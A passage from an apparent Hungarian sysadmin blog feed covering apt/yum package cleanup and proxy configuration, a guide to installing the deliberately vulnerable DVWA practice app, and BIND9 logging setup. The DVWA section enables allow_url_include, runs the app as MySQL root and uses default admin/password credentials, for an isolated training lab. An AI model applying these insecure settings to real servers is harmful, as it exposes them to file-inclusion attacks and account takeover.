Del libirs-export91 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;39,2 kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del libdns-export100 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;486&lt;/span&gt; kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del liblwres90 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;54,5 kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del libdns100 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;733&lt;/span&gt; kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del libisc95 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;177&lt;/span&gt; kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del libisccfg-export90 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;42,1 kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del libisccc90 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;37,1 kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del bind9-host 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;71,9 kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del dnsutils 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;124&lt;/span&gt; kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del linux-image-3.16.0-4-686-pae 3.16.7-ckt20-1+deb8u3 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;33,4 MB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del libbind9-90 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;45,1 kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del libisc-export95 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;146&lt;/span&gt; kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Del libisccfg90 1:9.9.5.dfsg-9+deb8u5 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;57,1 kB&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Az &lt;code&gt;apt-get clean&lt;/code&gt; viszont törli az összes &lt;code&gt;deb&lt;/code&gt; csomagot a &lt;code&gt;/var/cache/apt/archives&lt;/code&gt; mappából ezzel sok tárterületet megtakarítva.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get clean&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Red Hat alapú rendszereken a &lt;code&gt;yum remove&lt;/code&gt; utasítás távolítja el a nem kívánt csomagot, az összes, már nem szükséges függőségével együtt.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# yum remove nano&lt;/span&gt;
Betöltött bővítmények: fastestmirror
Függőségek megállapítása
--&amp;gt; Tranzakció ellenőrzés futtatása
---&amp;gt; A&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;z&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; nano.x86_64 0:2.3.1-10.el7 csomaggal a következő történik: törölve
--&amp;gt; A függőségvizsgálat véget ért

Függőségek Megtalálva

&lt;span class=&quot;o&quot;&gt;===================================================================================&lt;/span&gt;
 Package         Arch              Verzió                   Tároló           Méret
&lt;span class=&quot;o&quot;&gt;===================================================================================&lt;/span&gt;
Eltávolítás:
 nano            x86_64            2.3.1-10.el7             @base            1.6 M

Tranzakció Összegzés
&lt;span class=&quot;o&quot;&gt;===================================================================================&lt;/span&gt;
Eltávolítás  &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; Package

Telepített méret: 1.6 M
Ez így jó? &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;y/N&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;:y
Downloading packages:
Running transaction check
Running transaction &lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt;
Transaction &lt;span class=&quot;nb&quot;&gt;test &lt;/span&gt;succeeded
Running transaction
  Törlés        : nano-2.3.1-10.el7.x86_64                                     1/1 
  Ellenőrzés    : nano-2.3.1-10.el7.x86_64                                     1/1 

Eltávolítva:
  nano.x86_64 0:2.3.1-10.el7                                                       

Kész!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id=&quot;let-egy-proxy-mgtt&quot;&gt;Élet egy proxy mögött&lt;/h2&gt;

&lt;p&gt;Az &lt;code&gt;apt&lt;/code&gt; csomagnak Debian alapú rendszerek alatt, a konfigurációs fájljában tudjuk megadni a proxy beállításokat, ha olyan a hálózat, hogy a telepítés 
és frissítés csak azon keresztül lehetséges. Ehhez hozzunk létre egy 90Proxy fájlt a &lt;code&gt;/etc/apt/apt.conf.d&lt;/code&gt; mappában a következő tartalommal.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano /etc/apt/apt.conf.d/90Proxy&lt;/span&gt;
Acquire::http::Proxy &lt;span class=&quot;s2&quot;&gt;&amp;quot;http://proxy_IP_cím:proxy_port&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Jelszavas proxy esetén pedig&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano /etc/apt/apt.conf.d/90Proxy&lt;/span&gt;
Acquire::http::Proxy &lt;span class=&quot;s2&quot;&gt;&amp;quot;http://proxy_felhasználó:proxy_jelszó@proxy_IP_cím:proxy_port&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Rde Hat alapú rendszereknél a &lt;code&gt;/etc/yum.conf&lt;/code&gt; fájlba kell szerkesztenünk.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano /etc/yum.conf&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;http://proxy_IP_cím:proxy_port&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha jelszavas a proxy, akkor pedig&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano /etc/yum.conf&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;http://proxy_IP_cím:proxy_port
&lt;span class=&quot;nv&quot;&gt;proxy_username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;proxy_felhasználó
&lt;span class=&quot;nv&quot;&gt;proxy_password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;proxy_jelszó&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Mind két rendszernél (Debian és Red Hat alapúnál) a proxy beállításokat környezeti változókba is tehetjük.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# http_proxy=&amp;quot;http://proxy_IP_cím:proxy_port&amp;quot;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# export http_proxy&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Vagy ha jelszavas a proxy, akkor&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# http_proxy=&amp;quot;http://proxy_felhsználó:proxy_jelszó@proxy_IP_cím:proxy_port&amp;quot;&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# export http_proxy&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Persze ezek csak az adott shell-ben lesznek érvényben, ha tartósan be akarjuk állítani, akkor tehetjük profilba rendszer vagy felhasználó szinten.&lt;/p&gt;

&lt;p&gt;Ez elég hosszúra sikeredett, de remélem érthető lett.&lt;/p&gt;

</description>
        <pubDate>Mon, 14 Mar 2016 16:58:19 +0100</pubDate>
        <link>http://www.sysop.hu/blog/linux/2016/03/14/RedHat-Debian-csomagkezeles/</link>
        <guid isPermaLink="true">http://www.sysop.hu/blog/linux/2016/03/14/RedHat-Debian-csomagkezeles/</guid>
        
        
        <category>linux</category>
        
      </item>
    
      <item>
        <title>Damn Vulnerable Web Aplication (DVWA) telepítése</title>
        <description>&lt;p&gt;A &lt;a href=&quot;http://www.dvwa.co.uk&quot;&gt;Damn Vulnerable Web Aplication - továbbiakban DVWA (link)&lt;/a&gt; - egy olyan webalkalmazás, amely etikus hekkereknek, webes biztonságtechnikai szakembereknek, web fejlesztőknek 
lett létrehozva, hogy kipróbálják és gyakorolják a különböző sebezhetőségek feltárását, működését, azaz egyfajta gyakorlótér. Rengeteg sebezhetőség 
fajtát lehet kipróbálni, gyakorolni, különböző nehézségi szinten.&lt;/p&gt;

&lt;h2 id=&quot;telepts&quot;&gt;Telepítés&lt;/h2&gt;

&lt;p&gt;Ajánlott egy szeparált virtuális környezetbe telepíteni a rendszert a sok kihasználható sebezhetőség miatt. Tehát semmiképp se tegyük egy internetről 
elérhető gépre. A telepítés viszonylag egyszerű, mivel csak egy web kiszolgáló php-vel és egy mysql adatbázis szerver kell neki. Én egy minimális 
Debian rendszerre fogom felrakni, ennek a telepítését nem részletezem. A lényeg, hogy nem kell semmi extra, de egy ssh szervert azért tegyünk fel, 
hogy a DVWA könnyebb beállításához, be tudjunk ssh-zni.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get install openssh-server&lt;/span&gt;
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha az alap szerver kész, akkor jöhetnek a szükséges csomagok, apache2, mysql, php5 és egy unzip a letöltött rendszer kicsomagolásához.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get install apache2 mysql-server php5 php5-mysql php5-pear* unzip&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A mysql szerver root jelszavát jegyezzük meg mert majd be kell állítani a DVWA config fájljába.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/dvwa_mysql.png&quot; alt=&quot;dvwa_mysql&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ellenőrizzük a &lt;a href=&quot;http://www.dvwa.co.uk&quot;&gt;DVWA weboldalán (link)&lt;/a&gt;, hogy mi a legfrissebb verzió (jelen esetben ez a v1.9) és töltsük le.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# wget https://github.com/RandomStorm/DVWA/archive/v1.9.zip&lt;/span&gt;
--2016-03-13 10:46:09--  https://github.com/RandomStorm/DVWA/archive/v1.9.zip
github.com &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;github.com&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; feloldása… 192.30.252.131
Csatlakozás a következőhöz: github.com &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;github.com&lt;span class=&quot;o&quot;&gt;)[&lt;/span&gt;192.30.252.131&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;:443… kapcsolódva.
...
HTTP kérés elküldve, várakozás válaszra… &lt;span class=&quot;m&quot;&gt;200&lt;/span&gt; OK
Hossz: &lt;span class=&quot;m&quot;&gt;1311427&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1,2M&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;application/zip&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Mentés ide: „v1.9.zip”

v1.9.zip            100%&lt;span class=&quot;o&quot;&gt;[=====================&lt;/span&gt;&amp;gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;   1,25M  1,26MB/s  idő 1,0s   

2016-03-13 10:46:11 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1,26 MB/s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; -- „v1.9.zip” mentve &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;1311427/1311427&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Csomagoljuk ki.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# unzip v1.9.zip&lt;/span&gt;
Archive:  v1.9.zip
3cd38c444249e3a016fc203c79ecb68052283f54
   creating: DVWA-1.9/
  inflating: DVWA-1.9/.htaccess      
  inflating: DVWA-1.9/CHANGELOG.md   
...
  inflating: DVWA-1.9/vulnerabilities/xss_s/source/low.php  
  inflating: DVWA-1.9/vulnerabilities/xss_s/source/medium.php&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ellenőrizzük a telepített apache webszerver tufását. Ehhez elég ha beírjuk a böngészőnkbe a virtuális gépünk IP címét, ami nekem ez jelen esetben 192.168.10.200&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/dvwa_apache2.png&quot; alt=&quot;dvwa_apache2&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ha az Apache2 szerver alap képernyőjét látjuk, akkor eddig minden rendben. Most helyezzük át a kicsomagolt telepítőt a webszerver dokumentum 
könyvtárába, ami alapesetben a &lt;code&gt;/var/www/html/&lt;/code&gt; mappa.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# mv DVWA-1.9/* /var/www/html/&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Állítsuk át az áthelyezett fájlok tulajdonosát &lt;code&gt;www-data&lt;/code&gt;-ra, majd indítsuk újra a webszervert.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# chown -R www-data. /var/www/html/*&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# systemctl restart apache2&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A böngészőbe nézzük meg a &lt;code&gt;http://192.168.10.200/setup.php&lt;/code&gt; oldalt.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/dvwa_setup_errors.png&quot; alt=&quot;dvwa_setup_errors&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Láthatjuk, hogy az oldalon pirossal van jelezve pár hiányzó beállítás. Vegyük ezeket sorra.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code&gt;PHP function display_errors: Disabled&lt;/code&gt; - Ez ugyan nem piros, de ha a &lt;code&gt;/etc/php5/apache2/php.ini&lt;/code&gt;-ben a &lt;code&gt;display_errors&lt;/code&gt;-t &lt;code&gt;On&lt;/code&gt;-ra állítjuk, akkor túl könnyű dolgunk 
lenne a gyakorlások során, tehát ez &lt;code&gt;Off&lt;/code&gt; vagyis &lt;code&gt;Disabled&lt;/code&gt; marad.&lt;/li&gt;
  &lt;li&gt;&lt;code&gt;PHP function allow_url_include: Disabled&lt;/code&gt; - A &lt;code&gt;/etc/php5/apache2/php.ini&lt;/code&gt;-ben az &lt;code&gt;allow_url_include&lt;/code&gt; értéket állítsuk &lt;code&gt;On&lt;/code&gt;-ra.&lt;/li&gt;
  &lt;li&gt;&lt;code&gt;PHP module php-gd: Missing&lt;/code&gt; - A &lt;code&gt;php-gd&lt;/code&gt; modult telepíteni kell.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get install php5-gd&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code&gt;reCAPTCHA key: Missing&lt;/code&gt; - Ehhez kell készíteni egy kulcsot a &lt;a href=&quot;https://www.google.com/recaptcha/admin/create&quot;&gt;https://www.google.com/recaptcha/admin/create&lt;/a&gt; oldalon &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ha ezek megvannak, akkor a DVWA konfigurációs fájljába adjuk meg a mysql root jelszavát és a reCAPTCHA kulcsokat.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano /var/www/html/config/config.inc.php&lt;/span&gt;
...
&lt;span class=&quot;nv&quot;&gt;$_DVWA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;db_database&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;dvwa&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$_DVWA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;db_user&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;root&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$_DVWA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;db_password&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;jelszó&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
...
&lt;span class=&quot;nv&quot;&gt;$_DVWA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;recaptcha_public_key&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;publikus kulcs&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$_DVWA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;recaptcha_private_key&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;privát kulcs&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ezek után nincs más hátra mint a webszerver újraindítása. Ha mindent jól csináltunk, akkor az oldalon már nem lehet pirossal jelölt rész. 
Az utolsó lépés, az oldal alján levő &lt;code&gt;Create / Reset Database&lt;/code&gt; gomb megnyomása.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/dvwa_setup_complete.png&quot; alt=&quot;dvwa_setup_complete&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Az adatbázis elkészült és pár másodperc múlva automatán betöltődik a belépési oldal.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/dvwa_login.png&quot; alt=&quot;dvwa_login&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Az alapértelmezett felhasználónév (&lt;code&gt;admin&lt;/code&gt;) és jelszó (&lt;code&gt;password&lt;/code&gt;) beütése után már is gyakorolhatunk.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/images/dvwa_main.png&quot; alt=&quot;dvwa_main&quot; class=&quot;center-img&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Jó szórakozást!&lt;/p&gt;

</description>
        <pubDate>Sun, 13 Mar 2016 10:27:57 +0100</pubDate>
        <link>http://www.sysop.hu/blog/ethical_hacking/2016/03/13/DVWA-telepitese/</link>
        <guid isPermaLink="true">http://www.sysop.hu/blog/ethical_hacking/2016/03/13/DVWA-telepitese/</guid>
        
        
        <category>ethical_hacking</category>
        
      </item>
    
      <item>
        <title>BIND9 DNS szerver naplózás beállítása</title>
        <description>&lt;h2 id=&quot;a-konfigurci-felptse&quot;&gt;A konfiguráció felépítése&lt;/h2&gt;

&lt;p&gt;A BIND9 DNS szerver alapól a &lt;code&gt;/var/log/messages&lt;/code&gt; vagy a &lt;code&gt;/var/log/system&lt;/code&gt; fájlba naplózik a syslogd beállítása szerint. Ha részletesebb és szeparáltabb naplózást szeretnénk, akkor először is meg kell ismerni a beállítás szintaktikáját.
A BIND9 eléggé széleskörű és részletes naplózási beállítási lehetőségeket biztosít. Lássuk egy egyszerű naplózási beállítás felépítését. Hozzuk létre a &lt;code&gt;/etc/bind/named.conf.log&lt;/code&gt; fájlt a következő tartalommal.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano /etc/bind/named.conf.log&lt;/span&gt;
logging &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        channel update_debug &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
                file &lt;span class=&quot;s2&quot;&gt;&amp;quot;/var/log/bind/update_debug.log&amp;quot;&lt;/span&gt; versions &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; size 100k&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                severity debug&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                print-severity  yes&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                print-time      yes&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        channel security_info &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
                file &lt;span class=&quot;s2&quot;&gt;&amp;quot;/var/log/bind/security_info.log&amp;quot;&lt;/span&gt; versions &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; size 100k&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                severity info&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                print-severity  yes&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                print-time      yes&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        channel bind_log &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
                file &lt;span class=&quot;s2&quot;&gt;&amp;quot;/var/log/bind/bind.log&amp;quot;&lt;/span&gt; versions &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; size 1m&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                severity info&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                print-category  yes&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                print-severity  yes&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                print-time      yes&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

        category default &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; bind_log&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        category lame-servers &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; null&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        category update &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; update_debug&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        category update-security &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; update_debug&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        category security &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; security_info&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Nézzünk meg egy log fájl meghatározást részletesen.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;...
        channel bind_log &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
                file &lt;span class=&quot;s2&quot;&gt;&amp;quot;/var/log/bind/bind.log&amp;quot;&lt;/span&gt; versions &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt; size 1m&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                severity info&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                print-category  yes&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                print-severity  yes&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                print-time      yes&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
...
        category default &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; bind_log&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A &lt;code&gt;channel&lt;/code&gt;-el nevesítjük a log fájl definícióját, amire késöbb a &lt;code&gt;category&lt;/code&gt;-nál hivatkozhatunk. Tehát a DNS szerver &lt;code&gt;bind_log&lt;/code&gt; definíciója a &lt;code&gt;/var/log/bind/bind.log&lt;/code&gt; 
